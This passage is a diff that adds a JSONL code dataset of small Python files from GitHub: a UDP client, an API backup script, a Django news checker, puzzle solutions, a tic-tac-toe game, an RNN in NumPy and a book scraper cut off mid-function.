diff --git "a/4699.jsonl" "b/4699.jsonl" new file mode 100644--- /dev/null +++ "b/4699.jsonl" @@ -0,0 +1,2095 @@ +{"seq_id":"42207001736","text":"#!/usr/bin/env python3\n#coding=utf-8\n\n#udp编程\n#使用UDP协议时,不需要建立连接,只需要知道对方的IP地址和端口号,\n# 就可以直接发数据包。但是,能不能到达就不知道了\n#速度快\nimport socket\n#SOCK_DGRAM指定了这个Socket的类型是UDP\ns = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\nfor data in [b'Michael', b'Tracy', b'Sarah']:\n s.sendto(data,('127.0.0.1',9999))\n print(s.recv(1024).decode('utf-8'))\ns.close()\n","repo_name":"pythongitproject/python-project","sub_path":"basics/udp-client.py","file_name":"udp-client.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36482313376","text":"import json\nimport requests\nimport os\nimport sys\nimport time\nfrom core.data import *\npath_parent = os.path.dirname(os.getcwd()) #pega diretório pai para realizar operações dentro das pastas\n\n\ndef get(option,endpoint = endpoint,tokenAPI = tokenAPI,cryptKey = cryptKey, pg = \"1\"):\n url = endpoint + \"/\" + option + \"?tokenAPI=\" + tokenAPI + \"&cryptKey=\" + cryptKey + \"&pg=\" +pg\n if requests.get(url).status_code == 200:\n response = requests.get(url).json()\n #with open(\"response.txt\",\"w\") as file: #para gravar arquivo, evitar puxar muitos calls na API\n #json.dump(response,file)\n return response #json.dumps(response, sort_keys=True, indent=4,ensure_ascii=False)\n else:\n print(requests.get(url).status_code)\n return 0\n\n\ndef getDownloadURL(uuidDoc, option = \"documents\",endpoint = endpoint,tokenAPI = tokenAPI,cryptKey = cryptKey):\n url = endpoint + \"/\" + option + \"/\"+ uuidDoc+ \"/download\" +\"?tokenAPI=\" + tokenAPI + \"&cryptKey=\" + cryptKey\n if requests.post(url).status_code == 200:\n response = requests.post(url,data={\t\"type\": \"PDF\",\t\"language\": \"pt\"})\n return response.json()['url']\n else:\n print(requests.post(url).status_code)\n return 0\n\ndef createBackupDir(timestamp):\n try:\n os.mkdir(path_parent+\"/backup/backup\"+timestamp)\n except OSError:\n print(\"Creation of the backup directory failed\")\n else:\n print(\"Successfully created the backup directory\")\n\ndef backupProcess():\n downloadFromBackup(backupFile)\n\ndef backupFile():\n data = get(\"documents\")\n if data == 0:\n sys.exit(\"Erro ao executar backup!\")\n linhaInfo = data[0].copy() #copia o primeiro elemento com os dados dos documentos\n if linhaInfo[\"total_pages\"] != linhaInfo[\"current_page\"]: #se tiver mais de uma página, roda a call novamente para pegar os dados das prox paginas\n i = linhaInfo[\"current_page\"]\n j = linhaInfo[\"total_pages\"]\n while j != i:\n newData = get(\"documents\", i+1)\n for item in range(1, newData[0][\"total_documents\"]+1):\n data.update(item)\n i += 1\n timestamp = str(round(time.time()))\n #busca as URLs de download e adiciona no dicionário por documento\n for i in range(1, linhaInfo[\"total_documents\"]+1):\n data[i][\"downloadURL\"] = getDownloadURL(data[i][\"uuidDoc\"])\n data[i][\"timestamp\"] = timestamp\n print(data[i])\n print(\"URLs de download obtidas com sucesso\")\n\n #gera um arquivo com os dados finalizados para conferência\n with open(path_parent+\"/backup/\" +\"backup\"+ timestamp +\".txt\", \"w\") as fileBkp:\n json.dump(data, fileBkp)\n print(\"Arquivo de backup salvo com sucesso\")\n return \"backup\" + timestamp\n\n\ndef downloadFromBackup(filename):\n #fazer o backup direto do arquivo salvo anteriormente. para não fazer o processo novamente.\n with open(path_parent+\"/backup/\" + filename) as json_file:\n data = json.load(json_file)\n createBackupDir(data[1][\"timestamp\"])\n for i in range(1,data[0][\"total_documents\"]+1):\n print(data[i])\n print(\"Baixando PDFs\")\n requestsURL = requests.get(data[i][\"downloadURL\"])\n with open(path_parent+\"/backup/\" +\"backup\"+ data[i][\"timestamp\"] +\"/\"+ data[i][\"nameDoc\"] + \"-\" + data[i][\"statusId\"]+\".pdf\",\"wb+\") as pdf:\n pdf.write(requestsURL.content)","repo_name":"dekken201/d4sign-api-tools","sub_path":"core/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":3394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9805774199","text":"from . import nlp\r\n#from nlp import token\r\nfrom . import compare_nlp\r\n#from . import ht_scraper as ht\r\nfrom django.shortcuts import render\r\nfrom django.http import HttpResponse\r\nfrom . import scraping\r\nfrom . import file_handle as fh\r\n\r\n\r\ndef main(request):\r\n\tscraping.content.clear()\r\n\tscraping.heading.clear()\r\n\tcompare_nlp.lst.clear()\r\n\tcompare_nlp.decision.clear()\r\n\t#search = input(\"Enter Search String: \")\r\n\tsearch = request.POST['search']\r\n\tn = nlp.text_processing(search)\r\n\t#print(\"Final Search String: \\n\", n)\r\n\tscraping.it_scraping(n)\r\n\tscraping.ie_scraping(n)\r\n\r\n\r\n\t#print(\"Enter Compare Block in main\")\r\n\tif len(scraping.heading) == 0:\r\n\t\treturn render(request, \"Search.html\", {'Heading': 'Result Not Found', 'Content': 'Result Not Found', 'Decision': 'Result Not Found'})\r\n\telse: \r\n\t\tfor i in range(len(scraping.heading)):\r\n\t\t\t#nlp.lst.clear\r\n\t\t\tprint(\"Heading len: \",len(scraping.heading))\r\n\t\t\tkey_out = nlp.text_processing(scraping.heading[i])\r\n\t\t\t#print(\"Final Out Put String: \\n\", key_out)\r\n\t\t\tcompare_nlp.compare(n, key_out)\r\n\t\tprint(\"Exit Compare Block\")\r\n\tif len(compare_nlp.lst) == 0:\r\n\t\treturn render(request, \"Search.html\", {'Heading': scraping.heading[0], 'Content': scraping.content[0], 'Decision': \"News You Searched was not True\", 'percent':0})\r\n\r\n\telse:\t\r\n\t\tcomp = compare_nlp.avrg()\r\n\t\tfh.handle(search, comp)\r\n\t\treturn render(request, \"Search.html\", {'Heading': scraping.heading[0], 'Content': scraping.content[0], 'Decision': compare_nlp.decision[0], 'percent':comp})\r\n\t'''try:\r\n\t\tcompare_nlp.avrg()\r\n\r\n\t\treturn render(request, \"result.html\", {'Heading': ie.heading[0], 'Content': ie.content[0], 'Decision': compare_nlp.decision[0]})\r\n\r\n\texcept IndexError:\r\n\t\treturn render(request, \"result.html\", {'Heading': 'Result Not Found', 'Content': 'Result Not Found', 'Decision': 'Result Not Found'})\r\n\texcept ZeroDivisionError:\r\n\t\treturn render(request, \"result.html\", {'Heading': 'Result Not Found', 'Content': 'Result Not Found', 'Decision': 'Result Not Found'})\r\n\r\n\t\t#print(\"Could Not Find Result Search Again\")'''\r\n#main()\r\n","repo_name":"Himrocks29/News-detection","sub_path":"news_detector/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36606483695","text":"inp = [line.split() for line in open(\"input\").readlines()]\npos = sum(int(line[1]) if line[0] == \"forward\" else 0 for line in inp)\ndepth = sum(int(line[1]) if line[0] == \"down\" else -int(line[1]) if line[0] == \"up\" else 0 for line in inp)\nprint(\"Part 1:\", pos * depth)\n\ndepth = 0\naim = 0\n\nfor line in inp:\n if line[0] == \"forward\":\n depth += aim * int(line[1])\n else:\n aim += int(line[1]) if line[0] == \"down\" else -int(line[1])\n\nprint(\"Part 2:\", pos * depth)\n","repo_name":"evanphoward/AdventOfCode","sub_path":"AOC_21/Day2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"5838885081","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Sep 11 21:46:07 2019\n\n@author: aquib\n\"\"\"\n\n# Enter your code here. Read input from STDIN. Print output to STDOUT\nx=input()\nlowchar=[]\nuppchar=[]\nodddigit=[]\nevendigit=[]\nfor i in x:\n if i.isalpha():\n if i.isupper():\n uppchar.append(i)\n else:\n lowchar.append(i)\n elif i.isdigit():\n if int(i)%2==0:\n evendigit.append(i)\n else:\n odddigit.append(i)\ny=''.join(sorted(lowchar)+sorted(uppchar)+sorted(odddigit)+sorted(evendigit))\nprint(y)\n","repo_name":"aquibjamal/hackerrank_solutions","sub_path":"ginorts.py","file_name":"ginorts.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"7100973992","text":"'''\nSource: AlgoExpert\nWrite a function that takes in a \"special\" array and returns its product sum. \nA \"special\" array is a non-empty array that contains either integers or other \"special\" arrays.\nThe product sum of a \"special\" array is the sum of its elements, where \"special\" arrays inside it are summed themselves and then multiplied by their level of depth. \nThe depth of a \"special\" array is how far nested it is. For instance, the depth of [] is 1\nThe depth of the inner array in [[]] is 2\nThe depth of the innermost array in [[[]]] is 3\nInput = [5, 2, [7, -1], 3, [6, [-13, 8], 4]] \nOutput = 12\n'''\n\n\ndef product_sum(array, level=1):\n sum = 0\n for i in range(len(array)):\n if type(array[i]) is int:\n sum += array[i]\n continue\n\n sum += product_sum(array[i], level + 1)\n\n return sum * level\n\n\nif __name__ == \"__main__\":\n print(product_sum([5, 2, [7, -1], 3, [6, [-13, 8], 4]]))\n","repo_name":"contactshadab/data-structure-algo-python","sub_path":"data_structure/array/product_sum.py","file_name":"product_sum.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"70320576089","text":"contadorJogadas = 0\n\narray = [[\"#\", \"#\", \"#\"], [\"#\", \"#\", \"#\"], [\"#\", \"#\", \"#\"]]\narrayBola = [[0, 0, 0], [0, 0, 0], [0, 0, 0]]\narrayX = [[0, 0, 0], [0, 0, 0], [0, 0, 0]]\n\npossibilidadesX = []\npossibilidadesO = []\n\npertoGanharX = []\npertoGanharO = []\n\nposicoes = []\njogadas = ['11', '00', '02', '22', '20']\n\ndef scanBola():\n print(\"digite a posicao do valor que voce quer inserir a bola O\")\n n1 = int(input())\n n2 = int(input())\n if array[n1][n2] == \"#\":\n array[n1][n2] = \"O\"\n arrayBola[n1][n2] = 1\n else:\n print(\"esse lugar ja tem elemento\")\n scanBola()\n \n\ndef scanX():\n n1 = int(jogadas[0][0])\n n2 = int(jogadas[0][1])\n array[n1][n2] = 'X'\n jogadas.pop(0)\n arrayX[n1][n2] = 1\n\ndef verificarJogadas():\n for i in jogadas:\n if array[int(i[0])][int(i[1])] != '#':\n jogadas.remove(i)\n\ndef prestesGanharX():\n pertoGanharX.clear()\n for i in posicoes:\n hashtag = 0\n for j in i:\n if j == '#':\n hashtag = 1\n if hashtag == 1:\n index = i.index('#')\n contador = 0\n for j in i:\n if j == 'X':\n contador+=1\n if contador == 2 and hashtag == 1:\n value = i[index+3]\n pertoGanharX.append([i[0], i[1], i[2], array[int(value[0])][int(value[1])]])\n jogadas.insert(0, value)\n\ndef prestesGanharO():\n pertoGanharO.clear()\n for i in posicoes:\n hashtag = 0 \n for j in i:\n if j == '#':\n hashtag = 1\n if hashtag == 1:\n index = i.index('#')\n contador = 0\n for j in i:\n if j == 'O':\n contador+=1\n if contador == 2 and hashtag == 1:\n value = i[index+3]\n pertoGanharO.append([i[0], i[1], i[2], array[int(value[0])][int(value[1])]])\n jogadas.insert(0, value)\n\ndef colocarPosicao():\n posicoes.clear()\n posicoes.append([array[0][0], array[1][0], array[2][0], '00', '10', '20'])\n posicoes.append([array[0][1], array[1][1], array[2][1], '01', '11', '21'])\n posicoes.append([array[0][2], array[1][2], array[2][2], '02', '12', '22'])\n\n posicoes.append([array[0][0], array[0][1], array[0][2], '00', '01', '02'])\n posicoes.append([array[1][0], array[1][1], array[1][2], '10', '11', '12'])\n posicoes.append([array[2][0], array[2][1], array[2][2], '20', '21', '22'])\n\n posicoes.append([array[0][0], array[1][1], array[2][2], '00', '11', '22'])\n posicoes.append([array[0][2], array[1][1], array[2][0], '02', '11', '20'])\n\ndef printar():\n for fileira in array:\n print(fileira[0], \"|\", fileira[1], \"|\", fileira[2])\n\ndef verificar(list):\n if list[0][0] and list[1][0] and list[2][0]:\n return True\n elif list[0][1] and list[1][1] and list[2][1]:\n return True\n elif list[0][2] and list[1][2] and list[2][2]:\n return True\n elif list[0][0] and list[0][1] and list[0][2]:\n return True\n elif list[1][0] and list[1][1] and list[1][2]:\n return True\n elif list[2][0] and list[2][1] and list[2][2]:\n return True\n elif list[0][0] and list[1][1] and list[2][2]:\n return True\n elif list[0][2] and list[1][1] and list[2][0]:\n return True\n return False\n\ndef computadorComeca(jogadas):\n contadorJogadas = 0\n while contadorJogadas < 9:\n scanX()\n if contadorJogadas == 0:\n printar()\n contadorJogadas = contadorJogadas + 1\n colocarPosicao()\n if verificar(arrayX):\n printar()\n print(\"X GANHOU\")\n break\n scanBola()\n contadorJogadas = contadorJogadas + 1\n if (contadorJogadas == 9):\n if verificar(arrayX) is False and verificar(arrayBola) is False:\n print('deu velha')\n printar()\n break\n colocarPosicao()\n verificarJogadas()\n prestesGanharO()\n prestesGanharX()\n if verificar(arrayBola):\n printar()\n print(\"BOLA GANHOU\")\n break\n printar()\n jogadas = list(set(jogadas))\n verificarJogadas()\n\ndef jogadorComeca(jogadas):\n contadorJogadas = 0\n while contadorJogadas < 9:\n scanBola()\n contadorJogadas = contadorJogadas + 1\n if (contadorJogadas == 9):\n if verificar(arrayX) is False and verificar(arrayBola) is False:\n print('deu velha')\n printar()\n break\n colocarPosicao()\n verificarJogadas()\n prestesGanharO()\n prestesGanharX()\n if verificar(arrayBola):\n print(\"BOLA GANHOU\")\n printar()\n break\n scanX()\n contadorJogadas = contadorJogadas + 1\n printar()\n colocarPosicao()\n if verificar(arrayX):\n print(\"X GANHOU\")\n printar()\n break\n jogadas = list(set(jogadas))\n verificarJogadas()\n\ndef menu(jogadas):\n print('[1]: Jogador comeca\\n[2]: Computador comeca')\n val = int(input())\n if val == 1:\n jogadorComeca(jogadas)\n elif val == 2:\n computadorComeca(jogadas)\n\nmenu(jogadas)","repo_name":"eduardoddmg/tic-tac-toe-ia","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":5179,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"7739668668","text":"from configuration import Configuration\nimport selenium_bot as bot\n\n\ndef main():\n config = Configuration()\n driver = bot.init_driver(config.browser_name, config.driver_path)\n if bot.execute_actions(driver, config.actions):\n print(\"purchased item\")\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"uwais-ix/selenium_bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29614861650","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom functions import l2norm\n\n\nclass SGD:\n def __init__(self, learning_rate=.1, threshold=float('inf')):\n self.lr = learning_rate\n self.threshold = threshold\n self.grad_norm = [[], [], [], [], [], []]\n\n def update(self, params, grads):\n assert len(params) == len(grads), \"The shapes of parameters et gradients do not match !\"\n for i in range(len(params)):\n grad = grads[i]\n norm = l2norm(grad)\n self.grad_norm[i].append(norm)\n if norm > self.threshold:\n grad = grad * self.threshold / norm\n params[i] -= self.lr * grad\n import pprint\n # pprint.pprint(grad)\n # print(np.sum(grad > 1e-3))\n # after the update step, set the gradients to zero\n grads[i][...] = np.zeros_like(grad)\n\n def plot_norm(self, save_path='results/'):\n for i in range(5):\n plt.plot(self.grad_norm[i], label='gradient l2 norm')\n plt.xlabel('steps')\n plt.ylabel('norm')\n plt.legend()\n plt.savefig(save_path+'grad_norm_l2_'+str(i)+'.jpg')\n plt.show()\n","repo_name":"jordane95/MachineLearning","sub_path":"nn/optimizer.py","file_name":"optimizer.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28311992521","text":"\"\"\"\n@Time : 2019/12/7 2:38 PM \n@Author : bjjoy2009\nrnn类,实现前向和反向传播,构建rnn模型\n主要参数:\nT_x:cell数\nn_a:每个cell计算后输出->输入到下一层的a的维度\nn_x:每个cell输入x的维度\nn_y:每个cell输出y的维度,也就是多分类类别数\nm:每个batch的大小,也就是每个batch是m个输入序列,每个序列是T_x个输入\n\n总结:每次输入m个字符串(或句子),每个字符串T_x个字符(或单词),每个字符(或单词)是n_x维向量表示,\n每个cell对应一个输出n_y(做文本生成实验n_y=n_x,做文本分类实验n_y是分类数)\n\"\"\"\n\nimport numpy as np\n\n\ndef softmax(x):\n \"\"\"\n softmax函数,减去最大值防止爆炸\n 下面公式等价于 e_x=np.exp(x), e_x/e_x.sum(axis=0)\n :param x:\n :return:\n \"\"\"\n e_x = np.exp(x - np.max(x))\n return e_x / e_x.sum(axis=0)\n\n\ndef smooth(loss, cur_loss):\n \"\"\"\n loss平滑公式,相当于取1000次平均损失\n :param loss:\n :param cur_loss:\n :return:\n \"\"\"\n return loss * 0.999 + cur_loss * 0.001\n\n\ndef print_sample(sample_ix, ix_to_char):\n txt = ''.join(ix_to_char[ix] for ix in sample_ix)\n print('----\\n %s \\n----' % (txt, ))\n\n\ndef get_initial_loss(vocab_size, seq_length):\n \"\"\"\n 初始化损失,个人理解:softmax损失函数L=-sum(yi * log(yi_hat)),i=0,1,...,vocab_size\n 在预测下一个字符实验,下面公式相当于每个cell预测每个字符概率相等,都是1/vocab_size。\n y是vocab_size维向量,第i个位置是标记正确的是1,其余位置是0。\n 有seq_length个cell。\n :param vocab_size: 字符(或单词)数量\n :param seq_length: cell数量\n :return:\n \"\"\"\n return -np.log(1.0/vocab_size)*seq_length\n\n\nclass RNN:\n def __init__(self, epochs=20, n_a=16, alpha=0.01, batch_size=32):\n \"\"\"\n :param epochs: 迭代次数\n :param n_a: 隐藏层节点数\n :param alpha: 梯度下降参数\n :param batch_size: 每个batch大小\n \"\"\"\n self.epochs = epochs\n self.n_a = n_a\n self.alpha = alpha\n self.parameters = {}\n self.loss = 0.0\n self.n_x = 2\n self.n_y = 2\n self.m = batch_size\n\n def initialize_parameters(self, n_a, n_x, n_y):\n \"\"\"\n Initialize parameters with small random values\n :param n_a: 每个cell输出a的维度\n :param n_x: 每个cell输入xi的维度\n :param n_y: 每个cell输出yi的维度\n\n Returns:\n parameters -- python dictionary containing:\n Wax -- Weight matrix multiplying the input, numpy array of shape (n_a, n_x)\n Waa -- Weight matrix multiplying the hidden state, numpy array of shape (n_a, n_a)\n Wya -- Weight matrix relating the hidden-state to the output, numpy array of shape (n_y, n_a)\n b -- Bias, numpy array of shape (n_a, 1)\n by -- Bias relating the hidden-state to the output, numpy array of shape (n_y, 1)\n \"\"\"\n np.random.seed(1)\n Wax = np.random.randn(n_a, n_x)*0.01 # input to hidden\n Waa = np.random.randn(n_a, n_a)*0.01 # hidden to hidden\n Wya = np.random.randn(n_y, n_a)*0.01 # hidden to output\n ba = np.zeros((n_a, 1)) # hidden bias\n by = np.zeros((n_y, 1)) # output bias\n self.parameters = {\"Wax\": Wax, \"Waa\": Waa, \"Wya\": Wya, \"ba\": ba, \"by\": by}\n self.n_x = n_x\n self.n_y = n_y\n\n def rnn_cell_forward(self, xt, a_prev):\n \"\"\"\n Implements a single forward step of the RNN-cell as described in Figure (2)\n\n Arguments:\n xt -- your input data at timestep \"t\", numpy array of shape (n_x, m).\n a_prev -- Hidden state at timestep \"t-1\", numpy array of shape (n_a, m)\n parameters -- python dictionary containing:\n Wax -- Weight matrix multiplying the input, numpy array of shape (n_a, n_x)\n Waa -- Weight matrix multiplying the hidden state, numpy array of shape (n_a, n_a)\n Wya -- Weight matrix relating the hidden-state to the output, numpy array of shape (n_y, n_a)\n ba -- Bias, numpy array of shape (n_a, 1)\n by -- Bias relating the hidden-state to the output, numpy array of shape (n_y, 1)\n Returns:\n a_next -- next hidden state, of shape (n_a, m)\n yt_pred -- prediction at timestep \"t\", numpy array of shape (n_y, m)\n cache -- tuple of values needed for the backward pass, contains (a_next, a_prev, xt, parameters)\n \"\"\"\n\n # Retrieve parameters from \"parameters\"\n Wax = self.parameters[\"Wax\"]\n Waa = self.parameters[\"Waa\"]\n Wya = self.parameters[\"Wya\"]\n ba = self.parameters[\"ba\"]\n by = self.parameters[\"by\"]\n\n # compute next activation state using the formula given above\n a_next = np.tanh(np.dot(Waa, a_prev) + np.dot(Wax, xt) + ba)\n # compute output of the current cell using the formula given above\n yt_pred = softmax(np.dot(Wya, a_next) + by)\n\n # store values you need for backward propagation in cache\n cache = (a_next, a_prev, xt)\n\n return a_next, yt_pred, cache\n\n def rnn_forward(self, x, a_prev):\n \"\"\"\n Arguments:\n x -- Input data for every time-step, of shape (n_x, m, T_x).\n a_prev -- Initial hidden state, of shape (n_a, m)\n parameters -- python dictionary containing:\n Waa -- Weight matrix multiplying the hidden state, numpy array of shape (n_a, n_a)\n Wax -- Weight matrix multiplying the input, numpy array of shape (n_a, n_x)\n Wya -- Weight matrix relating the hidden-state to the output, numpy array of shape (n_y, n_a)\n ba -- Bias numpy array of shape (n_a, 1)\n by -- Bias relating the hidden-state to the output, numpy array of shape (n_y, 1)\n\n Returns:\n a -- Hidden states for every time-step, numpy array of shape (n_a, m, T_x)\n y_pred -- Predictions for every time-step, numpy array of shape (n_y, m, T_x)\n caches -- tuple of values needed for the backward pass, contains (list of caches, x)\n \"\"\"\n\n # Initialize \"caches\" which will contain the list of all caches\n caches = []\n\n # Retrieve dimensions from shapes of x and parameters[\"Wya\"]\n n_x, m, T_x = x.shape\n n_y, n_a = self.parameters[\"Wya\"].shape\n\n # initialize \"a\" and \"y\" with zeros\n a = np.zeros((n_a, m, T_x))\n y_pred = np.zeros((n_y, m, T_x))\n\n # Initialize a_next (≈1 line)\n a_next = a_prev\n\n # loop over all time-steps\n for t in range(T_x):\n # Update next hidden state, compute the prediction, get the cache\n a_next, yt_pred, cache = self.rnn_cell_forward(xt=x[:, :, t], a_prev=a_next)\n # Save the value of the new \"next\" hidden state in a (≈1 line)\n a[:, :, t] = a_next\n # Save the value of the prediction in y (≈1 line)\n y_pred[:, :, t] = yt_pred\n\n # Append \"cache\" to \"caches\" (≈1 line)\n caches.append(cache)\n\n # store values needed for backward propagation in cache\n caches = (caches, x)\n\n return a, y_pred, caches\n\n def compute_loss(self, y_hat, y):\n \"\"\"\n 计算损失函数\n :param y_hat: (n_y, m, T_x),经过rnn正向传播得到的值\n :param y: (n_y, m, T_x),标记的真实值\n :return: loss\n \"\"\"\n n_y, m, T_x = y.shape\n for t in range(T_x):\n self.loss -= 1/m * np.sum(np.multiply(y[:, :, t], np.log(y_hat[:, :, t])))\n return self.loss\n\n def rnn_cell_backward(self, dz, gradients, cache):\n \"\"\"\n Implements the backward pass for the RNN-cell (single time-step).\n\n Arguments:\n dz -- 由这两个公式计算出,cell输出y_hat = softmax(z), z=np.dot(Wya, z) + by\n gradients -- Gradient of loss with respect to next hidden state\n cache -- python dictionary containing useful values (output of rnn_cell_forward())\n\n Returns:\n gradients -- python dictionary containing:\n dx -- Gradients of input data, of shape (n_x, m)\n da_prev -- Gradients of previous hidden state, of shape (n_a, m)\n dWax -- Gradients of input-to-hidden weights, of shape (n_a, n_x)\n dWaa -- Gradients of hidden-to-hidden weights, of shape (n_a, n_a)\n dba -- Gradients of bias vector, of shape (n_a, 1)\n \"\"\"\n\n # Retrieve values from cache\n (a_next, a_prev, xt) = cache\n\n # Retrieve values from parameters\n Wax = self.parameters[\"Wax\"]\n Waa = self.parameters[\"Waa\"]\n Wya = self.parameters[\"Wya\"]\n ba = self.parameters[\"ba\"]\n by = self.parameters[\"by\"]\n\n gradients['dWya'] += np.dot(dz, a_next.T)\n gradients['dby'] += np.sum(dz, axis=1, keepdims=True)\n # cell的da由两部分组成,\n da = np.dot(Wya.T, dz) + gradients['da_next']\n\n # compute the gradient of tanh with respect to a_next (≈1 line)\n dtanh = np.multiply(da, 1 - np.square(a_next))\n # compute the gradient of the loss with respect to Wax (≈2 lines)\n gradients['dxt'] = np.dot(Wax.T, dtanh)\n gradients['dWax'] += np.dot(dtanh, xt.T)\n\n # compute the gradient with respect to Waa (≈2 lines)\n gradients['dWaa'] += np.dot(dtanh, a_prev.T)\n\n # compute the gradient with respect to b (≈1 line)\n gradients['dba'] += np.sum(dtanh, axis=1, keepdims=True)\n\n # 前一个cell的da_next\n gradients['da_next'] = np.dot(Waa.T, dtanh)\n\n return gradients\n\n def rnn_backward(self, y, y_hat, caches):\n \"\"\"\n Implement the backward pass for a RNN over an entire sequence of input data.\n :param y: label,shape(n_y, m, T_x)\n :param y_hat: softmax rnn forward output ,shape(n_y, m, T_x)\n :param caches: tuple containing information from the forward pass (rnn_forward)\n\n Returns:\n gradients -- python dictionary containing:\n dx -- Gradient w.r.t. the input data, numpy-array of shape (n_x, m, T_x)\n da0 -- Gradient w.r.t the initial hidden state, numpy-array of shape (n_a, m)\n dWax -- Gradient w.r.t the input's weight matrix, numpy-array of shape (n_a, n_x)\n dWaa -- Gradient w.r.t the hidden state's weight matrix, numpy-arrayof shape (n_a, n_a)\n dba -- Gradient w.r.t the bias, of shape (n_a, 1)\n dWya -- Gradient w.r.t the output's state's weight matrix, numpy-arrayof shape (n_y, n_a)\n dby -- Gradient w.r.t the output's bias, of shape (n_y, 1)\n \"\"\"\n\n # Retrieve values from the first cache (t=1) of caches\n (caches, x) = caches\n n_x, m, T_x = x.shape\n # initialize the gradients with the right sizes\n gradients = {}\n dx = np.zeros((n_x, m, T_x))\n gradients['dWax'] = np.zeros((self.n_a, self.n_x))\n gradients['dWaa'] = np.zeros((self.n_a, self.n_a))\n gradients['dba'] = np.zeros((self.n_a, 1))\n gradients['da_next'] = np.zeros((self.n_a, self.m))\n gradients['dWya'] = np.zeros((self.n_y, self.n_a))\n gradients['dby'] = np.zeros((self.n_y, 1))\n dz = y_hat - y # y_hat=softmax(z), dz=dl/dy_hat * dy_hat/dz\n\n # Loop through all the time steps\n for t in reversed(range(T_x)):\n gradients = self.rnn_cell_backward(dz=dz[:, :, t], gradients=gradients, cache=caches[t])\n dx[:, :, t] = gradients[\"dxt\"]\n\n return gradients\n\n def update_parameters(self, gradients):\n \"\"\"\n 梯度下降\n :param gradients:\n :return:\n \"\"\"\n self.parameters['Wax'] += -self.alpha * gradients['dWax']\n self.parameters['Waa'] += -self.alpha * gradients['dWaa']\n self.parameters['Wya'] += -self.alpha * gradients['dWya']\n self.parameters['ba'] += -self.alpha * gradients['dba']\n self.parameters['by'] += -self.alpha * gradients['dby']\n\n def clip(self, gradients, maxValue=5):\n \"\"\"\n Clips the gradients' values between minimum and maximum.\n\n Arguments:\n gradients -- a dictionary containing the gradients \"dWaa\", \"dWax\", \"dWya\", \"db\", \"dby\"\n maxValue -- everything above this number is set to this number, and everything less than -maxValue is set to -maxValue\n\n Returns:\n gradients -- a dictionary with the clipped gradients.\n \"\"\"\n\n dWaa, dWax, dWya, dba, dby = gradients['dWaa'], gradients['dWax'], gradients['dWya'], gradients['dba'], gradients['dby']\n\n # clip to mitigate exploding gradients, loop over [dWax, dWaa, dWya, db, dby]. (≈2 lines)\n for gradient in [dWax, dWaa, dWya, dba, dby]:\n np.clip(gradient, -1*maxValue, maxValue, out=gradient)\n\n gradients = {\"dWaa\": dWaa, \"dWax\": dWax, \"dWya\": dWya, \"dba\": dba, \"dby\": dby}\n\n return gradients\n\n def optimize(self, X, Y, a_prev):\n \"\"\"\n Execute one step of the optimization to train the model.\n\n Arguments:\n X -- 输入数据序列,维度(n_x, m, T_x),n_x是每个step输入xi的维度,m是一个batch数据量,T_x一个序列长度\n Y -- 每个输入xi对应的输出yi (n_y, m, T_x),n_y是输出向量(分类数,只有一位是1)\n a_prev -- previous hidden state.\n\n Returns:\n loss -- value of the loss function (cross-entropy)\n gradients -- python dictionary containing:\n dWax -- Gradients of input-to-hidden weights, of shape (n_a, n_x)\n dWaa -- Gradients of hidden-to-hidden weights, of shape (n_a, n_a)\n dWya -- Gradients of hidden-to-output weights, of shape (n_y, n_a)\n db -- Gradients of bias vector, of shape (n_a, 1)\n dby -- Gradients of output bias vector, of shape (n_y, 1)\n a[len(X)-1] -- the last hidden state, of shape (n_a, 1)\n \"\"\"\n\n # 正向传播\n a, y_pred, caches = self.rnn_forward(X, a_prev)\n # 计算损失\n loss = self.compute_loss(y_hat=y_pred, y=Y)\n\n gradients = self.rnn_backward(Y, y_pred, caches)\n\n gradients = self.clip(gradients=gradients, maxValue=5)\n\n self.update_parameters(gradients)\n\n return loss, gradients, a[:, :, -1]\n","repo_name":"ConstellationBJUT/Coursera-DL-Study-Notes","sub_path":"class5_week1_sequence/rnn/rnn.py","file_name":"rnn.py","file_ext":"py","file_size_in_byte":14608,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"31"} +{"seq_id":"8100825467","text":"import os\nimport requests\nfrom bs4 import BeautifulSoup\n\n\ndef scrapproduit(url,nomDeFichier):\n r = requests.get(url)\n html = r.text\n soup = BeautifulSoup(html, 'lxml')\n imgProduct = soup.find('div', {\"class\": \"item active\"})\n img = imgProduct.find('img')\n src = img.get('src')\n\n image_url = \"https://books.toscrape.com/\" + src\n titleProduct = soup.find('li', {\"class\": \"active\"}).get_text()\n descriptionProduct = soup.find('p',{\"class\": \"\"})\n if descriptionProduct:\n descriptionProduct = soup.find('p', {\"class\": \"\"}).get_text()\n else:\n descriptionProduct=\"\"\n\n tableInfo = soup.find('table',{\"class\": \"table table-striped\"})\n rows=list()\n for row in tableInfo.findAll(\"tr\"):\n rows.append(row)\n UPC = rows[0].find('td').get_text()\n price_including_tax=rows[3].find('td').get_text()\n 